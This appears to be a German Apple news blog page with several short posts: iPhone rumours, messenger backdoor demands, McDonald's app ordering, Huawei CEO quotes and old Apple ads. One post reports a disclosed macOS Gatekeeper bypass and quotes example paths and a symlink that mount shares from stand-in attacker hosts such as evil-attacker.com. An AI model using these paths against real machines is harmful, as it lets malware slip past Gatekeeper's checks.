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Warum sollte Apple 3D Touch bei den diesjährigen iPhones streichen?

Bereits vor einigen Tagen wurde berichtet, dass die diesjährigen iPhones wohl allesamt ohne 3D Touch auf den Markt kommen werden. Damit würde sich Apple nur vier Jahre nach der Einführung der Technologie mit dem iPhone 6s schon wieder von ihr verabschieden. Bereits im Januar gab es zarte Gerüchte in dieselbe Richrung, die seinerzeit vom Wall Street Journal aufgeworfen wurden. Offenbar wird Apple stattdessen künftig auf Haptic Touch setzen, welches zum ersten Mal beim iPhone XR zum Einsatz kam und 3D Touch dort gewissermaßen simuliert. Im Gegensatz zum druckintesiven 3D Touch funktioniert Haptic Touch mit einem langen Touch in Kombination mit einem haptischen Feedback durch die Taptic Engine.

Unklar ist dennoch, warum Apple das deutlich funktionalere 3D Touch zugunsten von Haptic Touch streichen sollte. Unter anderem sind mit Haptic Touch keine Quick Actions auf den App-Icons oder Peek and Pop für die Vorschau, beispielsweise bei Webseiten möglich. Auch zum Erweitern von Benachrichtigungen auf dem Sperrbildschirm oder bei der Taschenlampe kann Haptic Touch derzeit nicht genutzt werden. Der Grund für den Einsatz im iPhone XR war, dass man auf diese Weise ein nahezu rahmenloses LCD-Display bauen konnte. Bei den mit einem OLED-Display ausgestatteten iPhones hat Apple hingegen schon bewiesen, dass man 3D Touch hier ohne Probleme zum Einsatz bringen kann.

Es bleibt also weiterhin ein Rätsel, aus welchem Grund Apple die Funktion streichen sollte. Auf der anderen Seite ist es zum jetzigen Zeitpunkt natürlich auch nur ein Gerücht. Möglicherweise liefert iOS 13 den einen oder anderen Hinweis in diese Richtung, ansonsten werden wir uns vermutlich bis zum September gedulden müssen, ehe wir endgültige Klarheit haben.

Deutsches Innenministerium möchte Hintertüren in Messengerdiensten

Die Frage nach der Verschlüsselung von Daten und dem damit immer schwieriger werdenden Zugriff auf diese durch Strafverfolgungsbehörden beschäftigt uns nun schon seit geraumer Zeit. Dabei stellt sich immer die Frage nach der Gratwanderung zwischen Datenschutz und Sicherheit. Wenn ich ganz ehrlich bin, kann ich da durchaus beide Seiten verstehen. Dennoch dürfte sich Bundesinnenminister Horst Seehofer mit seinem Vorstoß, eine Hintertür in Messenger-Apps wie WhatsApp, iMessage und Threema eine Hintertür für die Strafverfolgungsbehörden einbauen lassen zu wollen, nicht wirklich viele Freunde machen. Hiervon berichtet aktuell die Süddeutsche Zeitung und mit Blick auf die gerade erst ausgezählte Europawahl samt herber Verluste für die Union vor allem bei jungen Wählern, könnte der Zeitpunkt der Forderung kaum schlechter gewählt sein.

Die geforderte Hintertür soll es den Behörden ermöglichen, im Rahmen einer richterlichen Anordnung auf über die Messenger versendete Nachrichten und Telefonate zugreifen zu können. Selbstverständlich werden dabei Erinnerungen an die öffentliche Auseinandersetzung zwischen Apple und dem FBI wach, welches von Apple die Entsperrung eines von Terroristen genutzten iPhone verlangte. Apple hat sich seither dem Kampf gegen derlei Anordnungen verschrieben. Würden solche Hintertüren existieren, wäre es nur eine Frage der Zeit, ehe sie auch von Hackern gefunden und ausgenutzt würden.

Ebenfalls aus der Kategorie "vielleicht hätten sie jemanden fragen sollen, der sich damit auskennt" fällt auch die Tatsache, dass die meisten Messenger inzwischen auf eine Ende-zu-Ende-Verschlüsselung setzen, also für die Betreiber überhaupt keine Möglichkeit besteht, die Nachrichten auf ihren Servern zu entschlüsseln. Sollte dies rückgänig gemacht werden, wäre dies vermutlich der größte Rückschritt in Sachen Datenschutz aller Zeiten.

Ebenfalls in diesem Zusammenhang interessant ist ein Artikel, auf den mich mein Leser Boris am Wochenende aufmerksam gemacht hat (danke dafür nochmal!). So wird auch der neue Mobilfunkstandard 5G die Arbeit der Strafverfolgungsbehörden, wie der schweizerische Tagesanzeiger berichtet. So wird mit dem neuen Standard die sogenannte International Mobile Subscriber Identitiy (IMSI) künftig verschlüsselt. Hierbei handelt es sich um eine Identitätsnummer, eines Handys oder einer SIM-Karte, die es bislang ermöglichten, das Gerät über einen sogenannten IMSI-Catcher aufzuspüren. Durch die Verschlüsselung würde dieses Verfahren künftig jedoch nicht mehr möglich sein, weswegen in der EU bereits Pläne geschmiedet werden, diese Maßnahme bis zur flächendeckenden Einführung von 5G-Netzwerken abzuschwächen.

Ab sofort bundesweit verfügbar: Bestellungen bei McDonald's per App aufgeben und bezahlen

Ich muss gestehen, dass ich inzwischen eine gefühlte Ewigkeit nicht mehr bei McDonald's war. Eigentlich kommt das nur noch vor, wenn ich länger auf der Autobahn unterwegs bin und sich plötzlich der kleine Hunger meldet. Für all diejenigen, die jedoch regelmäßiger bei der amerikanischen Botschaft einkehren, um sich kulinarisch mal so richtig verwöhnen zu lassen, lohnt ab sofort der Download der McDonald’s App mehr denn je. Darin findet man nun nämlich inzwischen die Möglichkeit, bundesweit über die "Mobile Order & Pay" genannte Funktion sein Essen mobil online zu bestellen und auch gleich zu bezahlen. Für Letzteres muss in der App jedoch eine Kreditkarte hinterlegt sein.

Hat man seine Bestellung soweit innerhalb der App vorbereitet, kann das tatsächliche Aufgeben dann über die Lokalisierungsfunktion der App erfolgen, sobald man sich dem gewählten Restaurant nähert. Dort kann sie dann am Counter oder am McDrive-Schalter abholen oder sich an einen Tisch liefern lassen.



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Kommende iPhones könnten gleichzeitige Verbindungen zu zwei Bluetooth-Geräten ermöglichen

Apple könnte mit dem kommenden iPhone eine kleine, aber für viele Anwender vermutlich durchaus interessante Funktion einführen. Bislang ist es lediglich möglich, die Audiowiedergabe per Bluetooth an ein einziges verbundenes Gerät weiterzureichen. Mit den diesjährigen iPhones könnte dies auch an zwei Geräte, beispielsweise Bluetooth-Kopfhörer oder -Lautsprecher, möglich werden, wie die japanischen Kollegen von MacOtakara heute berichten. Die Information soll aus einer Quelle in Apples Zuliefererquelle stammen. Demnach soll die Funktion Samsungs Dual Audio Feature ähneln, welches es ebenfalls ermöglicht, Musik oder andere Audiosignale von einem Galaxy-Smartphone oder -Tablet an zwei verbundene Bluetooth-Geräte zu senden. Im Falle Apples ließen sich so beispielsweise AirPods und Powerbeats Pro gleichzeitig mit Signalen bespielen.

Interessant ist dies aber nicht nur für die Musikwiedergabe, ich persönlich würde dies auch an anderer Stelle begrüßen. So greife ich derzeit noch zu einem Y-Kabel, welches das Audiosignal gleichzeitig an zwei kabelgebundene Kopförer sendet, wenn man im Flugzeug gemeinsam einen Film auf dem iPad schauen möchte.

Im Falle von Samsung basiert die Technologie auf der Bluetooth 5.0 Technologie. Diese setzt Apple aktuell im iPhone 8, iPhone X und iPhone XS ein, weswegen diese Modelle möglicherweise per Softwareupdate ebenfalls in den Genuss der neuen Funktion kommen könnten.

China-Sanktionen gegen Apple? Huawei CEO würde dagegen protestieren!

Nach wie vor befinden sich China und die USA in einem einigermaßen erbitterten Handelsstreit, in den auch Apple hineingezogen werden könnte. Beim chinesischen Konkurrenten Huawei ist dies bereits der Fall, was unter anderem dazu führte, dass der Apple-Konkurrent derzeit nicht mehr von US-amerikanischen Chip-Herstellern beliefert wird und auch keine Lizenz mehr für Googles Android-Betriebssystem erhält. Da liegt natürlich die Befürchtung nahe, dass die Chinesen hier ähnlich reagieren und auch Apple den Zugang zum chinesischen Markt verwehren oder zumindest erschweren. Hiergegen spricht sich nun ausgerechnet der CEO von Huawei aus.

Nach eigener Aussage wäre Ren Zhengfei der erste, der gegen chinesische Maßnahmen gegen Apple protestieren würde. Seiner Ansicht nach sollte kein Unternehmen unter den Entscheidungen einer Regierung leiden und Politik und Wirtschaft streng voneinander getrennt werden, wie er in einem aktuellen Interview mit Bloomberg zu Protokoll gab. Apple sei nach wie vor der Benchmark für die Smartphone-Branche und er selbst könne jeden Tag von den Entwicklungen in Cupertino lernen. Angesprochen auf mögliche Sanktionen der chinesischen Regierung gegen Apple sagte er:

"That will not happen, first of all. And second of all, if that happens, I’ll be the first to protes. Apple is my teacher, it's in the lead. As a student, why go against my teacher? Never."

Selbstverständlich hat die Aussage auch ein kleines G'schmäckle, kommt sie doch von einem Mann, dessen Unternehmen derzeit wegen verschiedener Lizenz- und Patentverstöße gegen US-Unternehmen, darunter Cisco, Motorola und T-Mobile vor Gericht steht. In diesem Fall kann man das "Lernen" auch anders auslegen. Selbstverständlich widerspricht Ren jedoch diesem Eindruck:

"I stole the American technologies from tomorrow. The US doesn’t even have those technologies. We are ahead of the US. If we were behind, there would be no need for Trump to strenuously attack us."

Auch zu US-Präsident Trump hat der Huawei CEO eine eindeutige Meinung. Sollte er ihn anrufen, um über die wirtschaftlichen Maßnahmen zu diskutieren, würde Ren nach eigener Aussage nicht mal den Hörer abheben.

"I will ignore him, then to whom can he negotiate with? If he calls me, I may not answer. But he doesn't have my number. I see his tweets and think it's laughable because they're self-contradictory. How did he become a master of the art of the deal?"

Generell sieht Ren keine größeren Auswirkungen des US-Banns auf sein Unternehmen, da man außer bei den Smartphones überhaupt keine Produkte auf dem US-Markt anböte. Nach einem früheren Streit zwischen den beiden Supermächten hatte man größere Chip-Vorräte angelegt, so dass man derzeit nicht auf dem Trockenen sitze. Zudem kaufen die USA derzeit keine Produkte von Huawei und Ren hat auch kein Problem damit, sollte dies in Zukunft so bleiben.

"The US has never bought products from us. Even if the US wants to buy our products in the future, I may not sell to them. There's no need for a negotiation."

Ungestopfte Sicherheitslücke in macOS erlaubt das Umgehen des Gatekeepers

Der Sicherheitsexperte Filippo Cavallarin sorgte über das Wochenende für Aufsehen, indem er eine Schwachstelle im Gatekeeper von macOS öffentlich machte, mit der sich diese Sicherheitsfunktion umgehen lässt. Dies gilt auch nach dem in der vergangenen Woche veröffentlichten Update auf macOS 10.14.5. Zur Erinnerung: Der Gatekeeper sorgt in macOS dafür, dass aus dem Internet heruntergeladene Software unmittelbar auf ihre Herkunft geprüft und der Nutzer evtl. entsprechend gewarnt wird, sollte diese nicht vertrauenswürdig sein.

Laut Cavallarin kann diese Maßnahme jedoch komplett umgangen werden, was vor allem daran liegt, dass der Gatekeeper auch externe Festplatten und Netzlaufwerke pauschal als sichere Herkunftsorte einstuft. Dies bedeutet im Imkehrschluss, dass Software von diesen Orten nicht noch einmal auf ihre Sicherheit hin überprüft werden. Dem Sicherheitsforscher zufolge kann ein Nutzer jedoch relativ einfach in eine Falle gelockt werden, ein manipuliertes Netzlaufwerk zu mounten, von dem dann Software installiert werden kann, ohne dass der Gatekeeper hier eingreift.

So könnte mit dem Pfad "ls /net/evil-attacker.com/sharedfolder/" beispielsweise der Inhalt des Ordners "sharedfolder" auf einem entfernten Server mit der Adresse "evil-attacker.com" per NFS gemountet werden. Zudem können auch in ZIP-Archiven symbolische Links enthalten sein, die ebenfalls eine Möglichkeit bieten, den Gatekeeper zu umgehen. So könnte ein solcher Link beispielsweise auf "Documents -> /net/evil.com/Documents" lauten, wodurch sich der Nutzer nicht mehr auf seinem lokalen Rechner befände, sondern auf dem Ordner "Documents" auf dem Server von evil.com.

Cavallarin habe nach eigener Aussage Apple über die Sicherheitslücke am 22. Februar informiert und das Unternehmen wollte sie eigentlich mit mscOS 10.14.5 in der vergangenen Woche stopfen. Da das 90 Tage Fenster für die Geheimhaltung der Lücke inzwischen verstrichen ist und Apple auch nicht mehr auf E-Mails von Cavallarin reagiert, wurde sie nun öffentlich gemacht. Das nachfolgende Video zeigt sie in Aktion:



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Zu lustig: Knapp 3/4 der "I'm a Mac/I'm a PC" Werbespots wurden offenbar von Steve Jobs abgelehnt

Die legendäre und auch preisgekrönte Apple-Werbekampagne "I'm a Mac/I'm a PC" mit dem Duo John Hodgman (PC) und Justin Long (Mac) war in dem Zeitraum zwischen 2006 und 2009 extrem beliebt. 10 Jahre später hat sich Justin Long nun in der Serie "Couch Surfing" des People Magazine über sein Mitwirken in der Reihe geäußert, wie Entertainment Weekly berichtet. Long zufolge habe man seinerzeit knapp 300 Spots gedreht, von denen jedoch lediglich 66 jemals öffentlich gezeigt wurde. Der Rest wurde von Steve Jobs persönlich abgelehnt. Meist geschah dies bei den lustigsten Clips, da Jobs befürchtete, dass der Humor von den eigentlichen Apple-Produkten zu sehr ablenken würde. Als Beispiel nannte Long einen Clip mit Zach Galifianakis, in dem dieser einen betrunkenen Weihnachtsmann spielte.

Verglichen mit den heutigen, technisch sicherlich herausragenden Werbespots von Apple, muten die "I'm a Mac/I'm a PC"-Clips heute sicherlich ein wenig wie aus einer anderen Zeit an. Ich persönlich fand sie allerdings immer öußerst amüsant und habe mich immer über das Erscheinen eines neuen Spots gefreut. Mein persönliches Highlight aus der Reihe im Anschluss:



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